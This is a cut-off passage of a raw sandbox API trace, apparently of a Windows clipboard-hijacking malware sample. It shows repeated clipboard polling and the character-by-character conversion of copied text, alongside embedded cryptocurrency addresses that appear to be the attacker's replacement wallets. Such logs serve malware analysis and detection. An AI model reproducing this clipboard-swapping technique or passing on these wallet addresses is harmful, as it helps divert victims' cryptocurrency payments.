lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.774] Sleep (dwMilliseconds=0x64) [0048.887] GetOpenClipboardWindow () returned 0x0 [0048.888] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.888] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.888] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.888] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.888] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.888] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.888] CloseClipboard () returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.892] Sleep (dwMilliseconds=0x64) [0049.010] GetOpenClipboardWindow () returned 0x0 [0049.010] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.010] GetClipboardData (uFormat=0xd) returned 